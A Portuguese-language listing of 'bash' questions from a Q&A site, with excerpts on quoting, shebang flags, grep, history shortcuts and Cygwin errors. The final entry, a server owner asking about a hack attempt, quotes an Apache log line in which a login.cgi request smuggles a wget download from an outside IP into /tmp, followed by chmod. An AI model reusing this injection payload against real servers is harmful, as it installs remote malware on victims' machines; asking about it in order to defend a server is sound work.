Perguntas sobre 'bash'

Bash (Bourne-Again SHell), é o shell usado na interface de linha de comando do Ubuntu por padrão.
3
respostas

Como eu uso uma variável Bash (string) contendo aspas em um comando?

Exemplo simplificado, com falha: FLAGS='--archive --exclude="foo bar.txt"' rsync $FLAGS dir1 dir2 Eu preciso incluir as aspas como se o comando fosse assim: rsync --archive --exclude="foo bar.txt" dir1 dir2     
24.11.2011 / 06:11
1
resposta

O que aqueles +/- significam se o trabalho do linux no background terminar (iniciado com &)

Se eu iniciar um processo com um e comercial ( & ) no final, ele será bifurcado em segundo plano. Quando termina, recebo uma saída semelhante a [1]+ Fertig my_script Eu tenho uma distribuição localizada, mas isso não importa....
01.03.2013 / 10:20
2
respostas

Bash Shebang para manequins?

Eu tenho alguns scripts bash que eu configurei e que usam principalmente #!/bin/bash mas eu me deparo regularmente com alguns que parecem #!/bin/bash -e #!/bin/bash -x #!/bin/bash -ex e assim por diante. Alguém pode explicar o s...
04.10.2010 / 23:09
3
respostas

Como eu posso “grep” filtrar recursivamente o nome dos arquivos que eu quero com curingas?

Quando eu quero realizar uma busca grep recursiva no diretório atual, geralmente faço: grep -ir "string" . Mas esse comando pesquisa dentro de todos os tipos de arquivos, incluindo arquivos binários (imagens, áudio, vídeo, etc ...), o que...
23.05.2014 / 10:42
4
respostas

Equivalente / Alternativas para Alt + Dot no Mac

Uma coisa que eu sinto falta do shell do Linux é o atalho Alt + Dot . O que ele faz é inserir o último argumento do comando anterior. Parece ser uma técnica trivial, mas é realmente útil. i.e. se você digitar isto: $ ls /Applications/MAMP...
18.12.2009 / 15:15
1
resposta

Existe uma maneira de tornar o bash mais amigável ao TAB?

Eu uso o bash no meu Mac e no meu shell cygwin. No geral, estou muito satisfeito com isso. Minha única reclamação é que a conclusão da tabulação não é tão boa quanto a conclusão da GUA do Windows Command Line. Por exemplo, se houver dois a...
23.10.2009 / 01:21
5
respostas

Como altero o diretório de inicialização padrão no Cygwin?

Sempre que eu inicio o cygwin, eu preciso gravar vários níveis até o único diretório que me interessa quando uso o cygwin. Como posso obter o cygwin para iniciar neste diretório específico Por padrão ... ou seja, toda vez que eu iniciar o Cyg...
10.02.2012 / 15:59
2
respostas

Como posso obter um argumento específico de um comando anterior no bash?

No bash, você pode usar !* para obter todos os argumentos do comando anterior. Por exemplo, se você usou cp /some/path /some/other/path e, em seguida, mv !* , o segundo comando seria expandido para mv /some/path /some/other/path . E...
15.11.2010 / 00:12
4
respostas

Erro fatal Cygwin incapaz de remapear .. O que isso significa?

Ao executar python no cygwin, recebo o seguinte erro: 0 [main] python 6140 C:\cygwin\bin\python.exe: *** fatal error - unable to remap \?\C:\cygwin\lib\python2.6\lib-dynload\time.dll to same address as parent: 0x2B0000 != 0x360000 Stac...
30.09.2010 / 20:51
2
respostas

O que esse script bash faz? [Hack Attempt]

Eu tenho notado nos logs de apache de meus servidores, as seguintes linhas estranhas ultimamente: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp...
08.09.2018 / 10:11